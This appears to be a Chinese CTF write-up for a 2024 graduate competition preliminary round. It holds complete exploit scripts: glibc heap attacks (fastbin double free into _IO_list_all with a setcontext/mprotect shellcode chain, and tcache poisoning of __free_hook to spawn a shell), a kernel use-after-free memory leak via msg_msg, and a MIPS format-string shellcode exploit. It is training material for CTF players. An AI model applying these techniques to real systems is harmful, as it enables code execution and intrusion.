研究生赛初赛2024WP
· 5 min read
出题质量感觉好低,pwn 感觉全非预期了。
一题低版本 IO,一题 2.31 double free,一题 kernel UAF,一题 mips fmt
pwn
stack_and_heap
应该是非预期了。add 不会到 0 可以无限加
打了 fastbin + IO
from pwno import *
sh = gen_sh()
sl(b'A')
def menu(idx: int):
sla(b'>>eciohc ruoy\n', str(idx).encode())
def add(size: int, content: bytes = None):
menu(1)
sla(b'?ezis\n', str(size).encode())
if content:
sla(b'?tnetnoc\n', content)
def show(idx: int):
menu(2)
sla(b'?xedni', str(idx).encode())
recvu(b'?ereh\n')
def delete(idx: int):
menu(3)
sla(b'?xedni', str(idx).encode())
add(0x60, b'A') # 7
add(0x60, b'A') # 6
add(0x7f, b'A') # 5
delete(7)
delete(6)
delete(7)
show(7)
heap = uu64(recvu(b'\n', drop=True)) - 0x70
success(heap)
add(0xf0, b'C') # 4
add(0x60, p64(0x6020b0-4)) # 3
add(0x60, b'B') # 2
add(0x60, b'B') # 1
add(0x60, b'A'*4 + p32(0) + p32(0xf0000000)) # 0
add(0x10, b'pad') # 0
delete(4)
show(4)
libc.address = uu64(recv(6)) - 0x3c4b78
success(libc.address)
# shellcode -> vtable -> io
sc = shellcraft.openat(-100, 'flag', 0)
sc += shellcraft.read('rax', 'rsp', 100)
sc += shellcraft.write(1, 'rsp', 100)
sc = asm(sc)
add(0xff, sc) # heap + 0x2a0
vtable = p64(0) * 3 + p64(libc.sym['setcontext'] + 53)
add(0xff, vtable) # heap + 0x3b0
IO = IO_FILE_plus()
IO._mode = 0
IO._IO_write_base = 0
IO._IO_write_ptr = 1
IO.vtable = heap + 0x3b0
io = bytes(IO)
# mprotect(heap, 0x1000, 7);
io = io[:0xa0] + p64(heap + 0x5f0) + io[0xa8:] # rsp
io = io[:0xa8] + p64(libc.sym['mprotect']) + io[0xb0:] # retn
io = io[:0x68] + p64(heap & ~(0xfff)) + io[0x70:] # rdi
io = io[:0x70] + p64(0x1000) + io[0x78:] # rsi
io = io[:0x88] + p64(0x7) + io[0x90:] # rdx
add(0xff, io) # heap + 0x4c0
add(0xff, p64(heap + 0x2a0)*(0xf8 // 8)) # heap + 0x5d0 <-> new rsp
delete(2)
delete(1)
delete(2)
add(0x60, p64(libc.sym['_IO_list_all'] - 0x23))
add(0x60, b'A')
add(0x60, b'A')
add(0x60, b'A' * 0x13 + p64(heap + 0x4c0))
dbg()
menu(5)
ia()
cancanneed_new
感觉也像非预期,没用到 666
直接打 freehook,因为 delete 的 check 在 free 之后,add 的 check 在 malloc 之前,所以完全没用
from pwno import *
sh = gen_sh()
def menu(idx: int):
sla(b'Your Choice: \n', str(idx).encode())
def add(size: int, content: bytes = None):
menu(1)
sla(b'have:\n', str(size).encode())
if content:
sa(b'Content:\n', content)
def show(idx: int):
menu(4)
sla(b'idx:\n', str(idx).encode())
recvu(b'info:\n')
def delete(idx: int):
menu(2)
sla(b'idx:\n', str(idx).encode())
def edit(idx: int, content: bytes):
menu(3)
sla(b'idx:\n', str(idx).encode())
sa(b'want?\n', content)
show(-0x9)
libc.address = uu64(recv(6)) - 0x1ed5c0
success(libc.address)
add(0x60, b'A')
add(0x60, b'A')
add(0x60, b'/bin/sh\x00')
delete(0)
delete(1)
edit(1, p64(libc.sym['__free_hook']))
add(0x60, b'A')
add(0x60, p64(libc.sym['system']))
delete(2)
sl('cat /flag')
ia()
kernel_network
感觉也是非预期...
裸的 UAF,直接 msg_msg 读内存即可?
#include "kernelpwn.h"
size_t get_addr()
{
FILE *fp;
char buffer[256];
unsigned long address = 0;
// 打开 lsmod 命令
fp = popen("lsmod", "r");
if (fp == NULL) {
perror("popen failed");
return 1;
}
// 读取输出
while (fgets(buffer, sizeof(buffer), fp) != NULL) {
// 查找包含 "net" 的行
if (strstr(buffer, "net") != NULL) {
// 查找地址部分
char *addr_str = strstr(buffer, "0x");
if (addr_str != NULL) {
sscanf(addr_str, "%lx", &address); // 读取十六进制地址
printf("Found address: 0x%lx\n", address);
break; // 找到后退出
}
}
}
// 关闭文件指针
pclose(fp);
return address;
}
int main()
{
int ret = 0;
setvbuf(stdout,_IONBF,0,0);
setvbuf(stderr,_IONBF,0,0);
save_status();
bind_core(0);
size_t net_module = get_addr();
printf("[+] net_module: %lx\n",net_module);
if((dev_fd = open("/dev/test",O_RDWR))<0)
{
err_exit("open device");
}
int dev_fd2,dev_fd3;
if((dev_fd2 = open("/dev/test",O_RDWR))<0)
{
err_exit("open device");
}
if((dev_fd3 = open("/dev/test",O_RDWR))<0)
{
err_exit("open device");
}
ioctl(dev_fd,0,0x1000);
size_t buf[0x400] = {0};
int msg_que = get_msg_queue();
memset(buf,"BBBBBBBB",8);
close(dev_fd2);
ret = write_msg(msg_que,buf,0x1000-0x30,1);
if(ret<0)
err_exit("asd");
buf[0] = 0;
buf[1] = 0;
buf[2] = 1;
buf[3] = 0x1020;
buf[4] = net_module+0xa90;
write(dev_fd,buf,0x40);
memset(buf,0,0x1020);
ret = peek_msg(msg_que,buf,0x1080,0);
if(ret < 0)
err_exit("ddd");
logd("len: %d",ret);
hexdump((char*)buf+0xfd0,0x80);
return 0;
}
mips_fmt
裸的 mips fmt,mips 栈可执行直接 shellcode
shellcraft 出来的太长了会把返回地址覆盖了,人为改了一下
本地栈地址和远程不一样,调了半天
from pwno import *
context.arch = 'mips'
context.endian = 'big'
sh = process(['qemu-mips', '-g', '1234', './pwn'])
sh = remote("192.168.18.27", 9999)
# ia()
# real_stack = 0x2b2aa4a0
real_stack = 0x76fffd90
retn = real_stack - 4
success(retn)
sc = real_stack - 0x20
for i in range(4):
payload = p32(retn + 3 - i)
payload += f'%{ ((sc >> i*8) - 4) & 0xff }c'.encode()
payload += b'%6$hhn'
sla(b'>> ', payload)
payload = p32(retn + 3)
payload += f'%{ (sc - 4) & 0xff }c'.encode()
payload += b'%6$hhn'
sla(b'>> ', payload)
payload = b'\x00'*4
payload += b'/bin/sh\x00'
sc = """
la $a0,-36($sp)
addiu $a1, $zero, 0
addiu $a2, $zero, 0
addiu $v0, $zero, 4011
syscall
"""
# print(asm(sc))
# payload += asm(sc)
payload += b"'\xa4\xff\xdc$\x05\x00\x00$\x06\x00\x00$\x02\x0f\xab\x00\x00\x00\x0c"
sla(b'>> ', payload)
sa(b'>> ', b'exit')
ia()
re
ezhtml
用 ghidra + wasm plugin 即可反编译
一个异或
s = [ 0x45, 0x42, 0x50, 0x47, 0x52, 0x4d, 0x7c, 0x56, 0x45, 0x39, 0x42, 0x5d, 0x51, 0x35, 0x53, 0x62, 0x34, 0x76, 0x4a, 0x5e, 0x32, 0x7c, 0x5a, 0x6f, 0x55, 0x5b, 0x74, 0x3f, 0x53, 0x69, 0x44, 0x66, 0x39, 0x43, 0x78 ]
for i in range(0x22, -1, -1):
s[i] = s[i] ^ s[(i+1) % 0x23] & 0xf
print("".join(chr(i) for i in s))
Blackjack
直接动调 setip 到 win 的地方即可